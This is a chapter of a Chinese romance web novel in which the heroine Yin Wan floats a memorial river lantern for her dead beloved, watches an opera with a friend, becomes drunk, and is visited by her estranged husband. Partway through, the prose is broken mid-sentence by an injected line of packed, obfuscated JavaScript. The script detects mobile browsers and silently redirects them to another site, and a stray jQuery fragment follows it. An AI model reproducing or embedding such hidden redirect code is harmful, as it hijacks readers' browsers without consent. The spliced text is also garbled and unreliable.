从成华寺回来,殷婉依旧如原先一般在后宅忙碌,考虑到长兄即将回京,她一边打理中馈,一边准备捎给侄子侄女的礼物。
其余都按部就班地,每日晨起见管事,每逢五日去桂慈院问安一趟,下午小憩后打理账册,偶尔派人出门去铺子采买。
仿佛是刻意要让自己忙起来,这些天,殷婉几乎很少想起那位缘觉大师的话。
当日求的签,仿佛只是留在那里的一场空梦而已。
而霍钊极少回来,纵然在家也宿在前院,二人依旧井水不犯河水。对殷婉而言,仿佛又过回了原先未出嫁的日子,无非是换了个住处,多了些差事,她觉得无所谓。
栖冬却觉得心累。
因着那趟祭礼,这两日京中疯传主子失礼于夫君,侯府才刻意选了成华寺祭祖。
更别提,侯爷不踏足后院,主子还跟个长工似的,只能每日困在这寸小小天地。
栖冬觉得这么下去,主子迟早闷得憋出病来,于是一心想着要让人多出门走走。
快进腊月的一天,殷婉照旧对了遍账册,才刚歇下,栖冬小跑进门,对她道:“今日城隍庙外要放烟火,您晚上可要去看看。”
殷婉这些天过得晕晕乎乎,听这话,才抬眼问,“今日是什么日子?”
“二十三呀。”栖冬提醒,“您有旬日没有出府了。”
竟然已经到了这日。
殷婉脸上的血色淡了不少。
当初霍钰战死得突然,山遥水远更传不回信来,等殷婉知道消息,就到了去年的今日。
因此,她一直把这日当作霍钰的年祭。
可记得又能怎样,没名没份,她又不能为他祭拜。
殷婉神色颓丧,好半晌都不说话,栖冬知道她大概是不去看烟火了,心里叹气着想继续劝劝,正要开口,栖夏进了门来。
“主子,颜小姐说颜公子过不久就要上任,家里老太君顺便想要给长孙补办个接风礼,在颜府叫了戏班子,让小辈门在园里放放河灯听听戏……问您要不要一起去。”
“你说要放河灯?”
栖夏不知道殷婉为何又问了一遍,糊涂地点头。“对啊,颜老太君在后院命人凿了个不冻池,打算今日放河灯祈福。”
殷婉听着,迟疑了。
栖冬在旁边催促,“主子,您就去吧,大家热热闹闹的,多好。”
殷婉微微抿唇。
.
颜府后花园。
晚间骤起了一阵风,吹得水面荡漾起细小波澜。月光朦胧,池边时不时传来客人的欢声笑语。
等众人离开,殷婉捧着河灯站到池边,她小心翼翼托着底下的芭蕉叶杆,点燃上面的烛芯。
殷婉安静闭上了眼。
她又想起了霍钰。
在她幼年时,总听说元宵节有不少年轻女子在洛州郊外的曲水亭放花灯祈福。
殷婉年纪小,却也艳羡得不得了,希望自己日后也能和心悦之人一起放花灯。
就这么期盼了很多年,后来她遇到了霍钰,也的确有了机会,和他元宵同游。但那年雪灾严重,放灯没了着落。
霍钰特别善良,身为世家子却没有半点傲气,吃穿用度都和普通兵员无异,哪怕自己参军没有多少钱银,也都全捐给了灾民。
知道她还念着放河灯,他便笑着保证日后机会多得很,等他出征回来,一定会陪她去的。
他答应她的事一定会做到。可唯独这次,他食言了。
霍昭彦……他本应该回来的。
殷婉慢慢睁开眼,托着河灯慢慢放下。
小灯从她手指滑过,顺着水流离开,幽微的烛火聚拢又散开,最后混在远处灯群中,渐渐看不清楚。
……
颜霜霜正到处找着殷婉的身影,远远看到她在池边,忙过去。“你怎么还在这儿?”
颜霜霜正愁没人陪她听戏,拉了殷婉带到戏台子底下。
殷婉还沉浸在方才的情绪中,兴致寥寥,周围看了一遭,后知后觉问:“颜大哥呢?”
今天宴会主要是为他办的,却没看到他人影。
颜霜霜“嗐”了一声。
“他们今日官员有宴饮,兄长推阻不得,刚才半程就走了。”
她说完,扯着殷婉的袖口,“不说这个了,我听说京中新排了话本子,可稀罕了,今天正好要演呢!”
台上唱念做打,几曲后,颜霜霜却有些败兴。
“怎么又是这些才子佳人的故事,新戏怎么还不开演。”
殷婉劝她,“这些折子戏也不错,你也别太心急了。”
颜霜霜沉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16711897|188368||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了沉气,招呼丫鬟端着一盅果酒,放在她们桌上。
之后的几曲也有些无聊,可老太太们高兴,小辈们也捧场,不知不觉就到了尾声。
最后这一出戏,花旦登场就知道排的精巧。
凄楚动人的古韵京腔响起,直让颜霜霜听得入神,可她越听眉心皱得越厉害。
这戏也是个才子佳人的故事,只不过又加了个将军。
才子佳人原本是通婚姻亲,后来旧朝覆灭,两人被迫分离,再聚首,一个已经长埋尘下,另一个则另嫁他人,这“他人”,便是新朝的将军。
才子战死,佳人当然痛恨新朝,奈何被家人逼迫,只得曲意逢迎。岂料旧朝卷土重来,这将军居然是当年旧朝埋在新朝的暗线,将军和才子的一战,实则是将军助人假死脱身。后将军因和才子同朝为官,偶然得知才子佳人曾经有情,主动让妻子选择……
一边是少年情谊,一边是多年夫妻,佳人两厢为难。
故事的结局就停在这里。
殷婉心绪不宁,小口啜饮。
一杯……又一杯。
颜霜霜膈应得很,“不是我说,这没有排完的戏到底为何要演,真叫人泄气,合该撤了这戏班子。”她气到急处,一把端起酒盅。
岂料这一拿,却感觉酒盅里边空荡荡的,显然已经被身边人尽数喝光了。
“阿婉,你……”颜霜霜大惊失色,“这可是酒啊。”
“这不是果饮吗?”殷婉迷茫看她。
颜霜霜猛摇头,“这是聚香楼的酒酿。而且后劲儿不小呢!”
她伸出手在殷婉面前摇了摇,却看人神志清明,嘱咐栖冬好好照顾人,又送殷婉出门,这才安下心来。
可还没回府,殷婉便已经醉得彻底。原本清泠泠的杏眼微眯,脸颊也染上了烟粉色,从里到外酒香和甜香混在一起,好像一朵待人采撷的桃花,格外招眼。
栖冬心道不妙,回到抱雪院安顿好殷婉,忙去熬醒酒汤。
正在小厨房忙活着,远远瞧见有灯影闪过,她没在意,等端着汤盏回到主屋,才知侯爷今日回来了,眼下正在内室。
栖冬眼皮一抖,在门前踟蹰着,忽而听到屋子里传来了奇怪声音。
好像黄莺要出声,却突然被压制下来,成了喉中一道婉转的啼鸣。